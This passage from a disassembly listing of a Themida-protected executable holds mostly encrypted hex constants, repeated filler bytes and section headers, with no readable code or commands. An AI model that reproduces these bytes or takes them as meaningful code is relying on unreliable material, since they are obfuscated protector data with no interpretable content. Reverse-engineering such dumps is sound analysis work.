5FA19171h, 0F595B39h dd 8E9F7BFh, 47000000h, 0B3AC7D82h, 668BA51Bh, 0FD05CF81h dd 8B5EF851h, 10E9D0h, 0AB2A0000h, 0DCE77BFAh, 0DCF2C10Eh dd 0A0D524ABh, 95B812CFh, 817953B0h, 0D02B33E6h, 58D0F79h dd 66000000h, 4B91D681h, 8AC9BF0Fh, 0BE8D7h, 0A8910000h dd 524B0DFCh, 13A7176Ch, 52525BEAh, 0E0815E58h, 27F1F56Eh dd 13E9h, 8E98F900h, 0E844CCDBh, 8CF9FA91h, 6684417Bh dd 213B545Fh, 3180B866h, 0BE8h, 0C8E4300h, 54D4A0D4h, 0FA7D98DEh dd 38C0Fh, 0BF0F0000h, 880F5AD7h, 1, 810F52F8h, 0Fh, 0AE9h dd 0D4565500h, 0AC99F1F2h, 59BCC98Fh, 8B52CB8Bh, 0E9805BFBh dd 0DE94Eh, 0FFC70000h, 0FC0EF1C1h, 0F9D37EBBh, 66AE768Bh dd 0F6BCEE81h, 1880Fh, 0E9F50000h, 9, 5EA4F5DCh, 578C159Ah dd 0CE86Fh, 47EF0000h, 0D10F5B5Eh, 13E4DF58h, 66561631h dd 5A0163BBh, 66C58A5Eh, 0B4A8C081h, 0BB6001B5h, 660817FFh dd 0B66162B2h, 6E930h, 77960000h, 2378D93Ah, 890FFE8Bh dd 3, 66C7BF0Fh, 811455BEh, 6D597AD6h, 0F8F88B09h, 8166F9F5h dd 0BF0D5CF2h, 74DE875Bh, 8083F580h, 81F96FD4h, 0DB6C54EAh dd 0F28B6615h, 0F65DE281h, 5E91337h, 57000000h, 0FA16E893h dd 0CE3749BBh, 8BFA8B0Dh, 38A0FF1h, 80000000h, 0FE906F4h dd 0CD000000h, 0C9206153h, 0CC27915Fh, 25165DF0h, 0FA8ABD16h dd 0D78B6656h, 11E95Fh, 7C070000h, 46046BB3h, 90C39103h dd 33057974h, 0FEEBCCCh, 1F88h, 198C0F00h, 0E9000000h dd 14h, 0FCDF20E7h, 0DC06AC1Ah, 89833F7Fh, 8B6269B0h, 0FADC1301h dd 0CEE78166h, 9E86Ch, 0F0C00000h, 602E08A1h, 0BF3A0E87h dd 7B95BF35h, 5820F58h, 60000000h, 6119E580h, 18B0Fh, 8BF80000h dd 80C88BFAh, 0BE662BCDh, 816691E8h, 8B37E9E9h, 0E2ADB8DFh dd 816626EBh, 0FA400F1h, 385h, 42F28000h, 405744BEh, 0EABB667Ch dd 3880F5Ah, 60000000h, 12E961FCh, 0BF000000h, 8FD489FFh dd 64068461h, 9ABBE8DEh, 1850440h, 0C2B70F45h, 0B70FC88Bh dd 0E9C18BCFh, 0Ch, 0C99F8209h, 0EF120C2Ch, 0B0BB8E38h dd 38C0Fh, 0B70F0000h, 19860FD8h, 53000000h, 12E9h, 0DAE12B00h dd 5FBBCB65h, 31D63B53h, 33868F63h, 5AE1AB87h, 0FC78B66h dd 581h, 0F2816600h, 0F181FACCh, 4B74F925h, 51DBBF0Fh dd 28E0Fh, 58560000h, 0E8CA8B5Bh, 0Ah, 77CDF67Ah, 4A6B691Bh dd 0F681019Fh, 5741172Dh, 138B0F5Fh dd 0E8000000h, 8, 47C17DE9h, 0F221DC70h, 18D7D2B9h, 0C8805E71h dd 7E868h, 0FD410000h, 7D23A6FBh, 0FE9C3h, 0C6CA0000h dd 13FF8928h, 451F85A2h, 0BDD9F921h, 0BF66596Ah, 0E58A2440h dd 0FD78BF5h, 0BA66CFB7h, 810F5747h, 3, 0B3C8B70Fh, 5820F96h dd 66000000h, 1162C881h, 29F28166h, 0D48050BFh, 0E18A5A95h dd 0E681F5F9h, 36B73EC7h, 8E8h, 7342D200h, 6FEF9FF8h, 0D08166CEh dd 665AFA4Fh, 0BF0FD18Bh, 11E857C7h, 0D6000000h, 8C555B6Ch dd 3124C717h, 4AC833C1h, 0B1D7605Eh, 21E8A6BFh, 525F5913h dd 6E95Bh, 747B0000h, 92E5B83Ah, 3880Fh, 0F9570000h, 0C890F59h dd 0F000000h, 68Eh, 8A0F00h, 0E8000000h, 0Ch, 315638E7h dd 0E9BCBDE3h, 0D6127D40h, 0D6E78166h, 816658BAh, 66EEF3E0h dd 0B292B5BEh, 99B052F4h, 0EE95Ah, 3A660000h, 0FC5D66A2h dd 549F3790h, 0AFC47FFBh, 6056F38Bh, 820Fh, 61600000h dd 0E8F85A61h, 7, 0ED918514h, 0E9F8E9E4h, 9, 6D005109h dd 3599186Ch, 820F5E05h, 8, 28E0Fh, 5E500000h, 11E9h, 0AD3E1500h dd 0B7DAEB63h, 0C8C40A36h, 8C30A825h, 0EE804E0h, 72000000h dd 9DA01365h, 790434BEh, 97029FF5h, 0FABF0F3Ah, 0B70FF85Bh dd 14E8C8h, 9F010000h, 4C4C6BEh, 0FFE6109h, 4D1AFFBAh dd 85F3AFA2h, 0E85BDB06h, 0Ah, 988F15EFh, 0D3427254h, 5FF5C75Dh dd 14E9h, 859C0D00h, 964DC6A9h, 0FF337E1Bh, 0C89AB39Dh dd 0FEC5A0ABh, 9EE1818Bh, 0E955DA64h, 14h, 0AF4CDE60h dd 722809FDh, 0BA5CC5CEh, 6DF3F70Eh, 3C0A1E2Dh, 354F5AB9h dd 6890F4Fh, 81000000h, 6C6AB0E9h, 0CB8B665Bh, 0C57BBA66h dd 0F85AF956h, 0DF4BF781h, 840F040Fh, 6, 56D98B60h, 80536158h dd 665ABFD2h, 0F71DBBBh, 0F87h, 0AE900h, 0D5EF0000h, 5D474479h dd 6F792E93h, 0CE9h, 0D4589000h, 7B5AC48Ch, 378C7507h dd 0C881F57Bh, 38CB761Fh, 8E9h, 0BD04B800h, 0FCCB6827h dd 0D3BF0FC6h, 15810Fh, 0E9530000h, 0Eh, 70DF84A8h, 7CFFCC44h dd 0D942F0CBh, 0F585730h, 289h, 81F98B00h, 0DC3542EFh dd 0C2816676h, 0F3807917h, 0DFBB5675h, 5F27CE65h, 0E9C2B70Fh dd 8, 0F764258Ch, 0E9143679h, 61606060h, 0E4DB8166h, 13E96193h dd 76000000h, 877A4C9Bh, 0E498FF48h, 0A77F94EAh, 4B61AC4Bh dd 0E9619996h, 5, 6049BA29h, 0BEC68B08h, 70FB62F3h, 5BF18B50h dd 4870Fh, 0BF660000h, 0F570B9Fh, 68Eh, 850F00h, 5F000000h dd 260BF66h, 0E17B99BAh, 5890F75h, 0BE000000h, 3F26FB26h dd 0EF77BFF9h, 21BE2D46h, 666B23BAh, 0D281F98Bh, 7FA4D623h dd 482BBE66h, 15C88166h, 7E985h, 0C8DA0000h, 948E3B6Bh dd 12E833h, 0C32E0000h, 8A5BBB87h, 0A202C086h, 0A9F9D11Eh dd 0F3A3E6C2h, 0E86058F8h, 11h, 0A2627667h, 68FD1C3Eh dd 0A21A5201h, 4E9BA886h, 61EB80DDh, 0DEB70F5Bh, 0AE861h dd 25730000h, 0E0204261h, 0E0165E48h, 0F58DA8Ah, 0ADBBF0BFh dd 52578FA1h, 5ADA8B66h, 18C0F50h, 0F8000000h, 14E85Eh dd 0A6DC0000h, 57A1198Eh, 50F8EEAAh, 6C70374Bh, 0CBDAC72Dh dd 0BB663106h, 81587298h, 180B65E2h, 7E83Eh, 89D80000h dd 329FE5CFh, 12E904h, 0C1680000h, 4E8DE684h, 7CAFE59Fh dd 0C0EE229Bh, 8BFC7EDAh, 52F38A5Bh, 5800Fh, 0CFB90000h dd 5F420540h, 0D8F0Fh, 5E80000h, 0F9000000h, 487491FAh dd 0F595A57h, 388h, 0F28B6600h, 0F5202B5h, 0B82h, 5E800h dd 4C440000h, 59F099ADh, 6810F5Fh, 81000000h, 845A68D6h dd 0E9BE6621h, 1B7F87Ah, 0E85BF953h, 13h, 9E3FA434h, 369BF0FAh dd 1F339E96h, 8628DD63h, 56EC7376h, 870Fh, 5E5F0000h, 8B66D58Ah dd 0E6B966F3h, 63C8B8A5h, 0E8607B1Bh, 0Ch, 33C13124h, 605E4AC8h dd 0F63B1D7h, 4501EF81h, 0B1583193h, 850F61EEh, 16h, 11E9h dd 4CFBB300h, 2DE9B35Ah, 2F872762h, 0AE5DF8D1h, 0C68BE912h dd 80DBB70Fh, 5156E7E9h, 0AA9BBE66h, 0BF605E5Ah, 6CBADB03h dd 10E951h, 6AE60000h, 45FB4AFFh, 7F8693F5h, 2EB586B9h dd 615B0ACBh, 5880F60h, 0BE000000h, 4CDA4322h, 14E9h, 65001900h dd 196865F9h, 0A3EE8EBh, 266915Ch, 66B3A9D8h, 0D08B618Ch dd 12E8h, 17F16800h, 4C5F0ED2h, 504F4CFEh, 4E382F98h, 0E85127DCh dd 0Bh, 9153BDD8h, 8327EEB3h, 81DB4E71h, 7E81FEC9h, 0E95E583Ah dd 0Ah, 0EC063C65h, 34A5FA35h, 80608005h, 8D0F68CCh, 4 dd 0F0BCBF66h, 2840F61h, 8B000000h, 0B70F60C7h, 0DE9F3h dd 0D60A0000h, 0DDE2EAA2h, 0A380BED1h, 61867A65h, 8B0FD88Bh dd 3, 81F98B66h, 0DBFFA5EBh, 5E967h, 85A30000h, 0BE47F076h dd 13F84BEAh, 8B66BFB6h, 12E9C8h, 0D4330000h, 0AE97D6F9h dd 5BD61584h, 51394387h, 8975F290h, 48BBF18Bh, 0E928FE86h dd 12h, 53557036h, 93E758C9h, 0EA084D78h, 6208B590h, 0BA6652F4h dd 66F80F1Bh, 0E780F78Bh, 60FE8B43h, 931601BEh, 10E8615Ah dd 0FA000000h, 0F54D3EBh, 0D28A3FB0h, 0C5B89A43h, 66644986h dd 5F9C89BEh, 57DF8B66h, 0E38C981h, 0F85E51A6h, 5E8h, 0B3EFB300h dd 8B51266Ch, 665B58DEh, 0C44C381h, 3890FFCh, 80000000h dd 0D68B73E4h, 0B8D0Fh, 8B0F0000h, 5, 417461B9h, 0D08B661Bh dd 36DDD281h, 11E825B2h, 1E000000h, 0F4D1F33Bh, 9F10DD5Bh dd 424665B7h, 4761105Fh, 87FCBE66h, 0F9BF0F5Fh, 8E8h, 6C16F200h dd 2048329Bh, 0BA605E76h, 6685BEDEh, 12E9h, 2B561200h dd 0D0B60C90h, 2EA02E48h, 5C244488h, 619ACDEBh, 8166F18Bh dd 0BA2716DBh, 3B3DD32Dh, 6E8h, 19485100h, 0E9DD810Bh dd 0Bh, 8D022D89h, 4CF3C8B2h, 5905D1B2h, 0D78BD7B3h, 1B22B866h dd 61D28166h, 10E960A8h, 24000000h, 220A5CF5h, 110F9B47h dd 0CEA78C85h, 0E9FD0EA0h, 7, 149AA7A8h, 6154B91Dh, 0CF81FE8Bh dd 25D7CE00h, 7E9h, 0D4437400h, 0EAA99109h, 1AEF8166h dd 0C68166F4h, 85BB44FEh, 0F114361h, 0E681FAB7h, 768C76C9h dd 7E8h, 38C5E200h, 49F3B3A4h, 8E0F505Eh, 6, 860Fh, 0BF590000h dd 6A6B6D8h, 28E0Fh, 4B20000h, 59F18B51h, 60E4B5FCh, 0FC8B70Fh dd 183h, 0FC61F800h, 4840F50h, 66000000h, 5F8AADBEh, 0FAF68166h dd 0E281667Fh, 0FF8B7A0h, 384h, 76EF8000h, 14E8h, 32D92400h dd 17C12D8Eh, 6D4AA1A2h, 0FDE2CA1Eh, 0CEB1289Eh, 6659FCCAh dd 1F5EF681h, 0FA8B6652h, 12BE665Bh, 0EB8160A7h, 219679B8h dd 10E960h, 0E4BD0000h, 9CEE46F9h, 62A25EBCh, 0CA38BB56h dd 8166D7FCh, 61F0AACEh, 7FB96061h, 80374266h, 60619DCFh dd 810FF98Bh, 0Fh, 0AE9h, 0BC8B0F00h, 0E309263Fh, 614DC455h dd 0F6F392B8h, 0B6D28133h, 66708E6Dh, 8166C68Bh, 526B0EF1h dd 0BE9h, 81486900h, 9EBD657Ch, 63BDA868h, 0DA81665Eh dd 0F5BAB68Ch, 0F812DE67h, 0FCBB70Fh, 0C081DFB7h, 18D8F213h dd 6E9h, 28676E00h, 0F92E390h, 8Bh, 0FE900h dd 9B3D0000h, 0F948318Dh, 0A14FA3A2h, 63C3EA2Dh, 0FE8A1h dd 57A30000h, 6AD6022Ch, 0B7DBA78Fh, 0B96A50D1h, 10E95E7Bh dd 5A000000h, 0E989AA78h, 89F373ABh, 0BF265D40h, 0FC46973Eh dd 57C38BF5h, 0DBB6E381h, 8B5810B5h, 10E9FAh, 5C2D0000h dd 0E7562602h, 0D24C13B1h, 7D62B365h, 816626CCh, 0D25E43DAh dd 163h dup(0D32A01DEh) db 0DEh byte_5C1A81 db 1, 2Ah, 0D3h ; DATA XREF: Themida_:00548E14o dd 2C6h dup(0D32A01DEh), 9DF106DEh, 120h dup(9DF10576h) dd 69F10576h, 27h dup(69A565D1h), 0BDA565D1h, 0E9h dup(0BD65EE5Ch) dword_5C2E68 dd 2E8h dup(0BD65EE5Ch), 0EAD1EE5Ch, 0Dh dup(0EAD66082h) ; DATA XREF: Themida_:00549F76o db 82h byte_5C3A41 db 60h, 0D6h ; DATA XREF: ___:off_4378F8o byte_5C3A43 db 0EAh ; DATA XREF: ___:off_439A30o dword_5C3A44 dd 7 dup(0EAD66082h) ; DATA XREF: ___:off_439A28o db 82h, 60h, 0D6h db 0EAh dd 1A1h dup(0EAD66082h), 0CCD66082h, 593h dup(0CCCCCCCCh) db 0CCh asc_5C5739 db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: Themida_:0055AEB0o db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'лллл',0 align 1000h Themida_ ends ; Section 5. (virtual address 001C7000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001C7000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5C7000h align 2000h _idata2 ends end start